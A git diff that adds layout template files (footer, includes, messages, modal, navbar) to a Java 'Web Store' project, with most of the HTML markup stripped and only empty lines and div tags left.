+ + diff --git a/src/main/resources/templates/layout/Footer.html b/src/main/resources/templates/layout/Footer.html new file mode 100644 index 0000000..319e152 --- /dev/null +++ b/src/main/resources/templates/layout/Footer.html @@ -0,0 +1,7 @@ + + + +
+
+ + \ No newline at end of file diff --git a/src/main/resources/templates/layout/Includes.html b/src/main/resources/templates/layout/Includes.html new file mode 100644 index 0000000..c722e20 --- /dev/null +++ b/src/main/resources/templates/layout/Includes.html @@ -0,0 +1,30 @@ + + + + + Web Store + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/main/resources/templates/layout/Messages.html b/src/main/resources/templates/layout/Messages.html new file mode 100644 index 0000000..184cb32 --- /dev/null +++ b/src/main/resources/templates/layout/Messages.html @@ -0,0 +1,33 @@ + + + +
+ +
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+ +
+ + + diff --git a/src/main/resources/templates/layout/Modal.html b/src/main/resources/templates/layout/Modal.html new file mode 100644 index 0000000..86391f8 --- /dev/null +++ b/src/main/resources/templates/layout/Modal.html @@ -0,0 +1,28 @@ + + + + + + + diff --git a/src/main/resources/templates/layout/NavBar.html b/src/main/resources/templates/layout/NavBar.html new file mode 100644 index 0000000..31f92ed --- /dev/null +++ b/src/main/resources/templates/layout/NavBar.html @@ -0,0 +1,103 @@ + + + + + +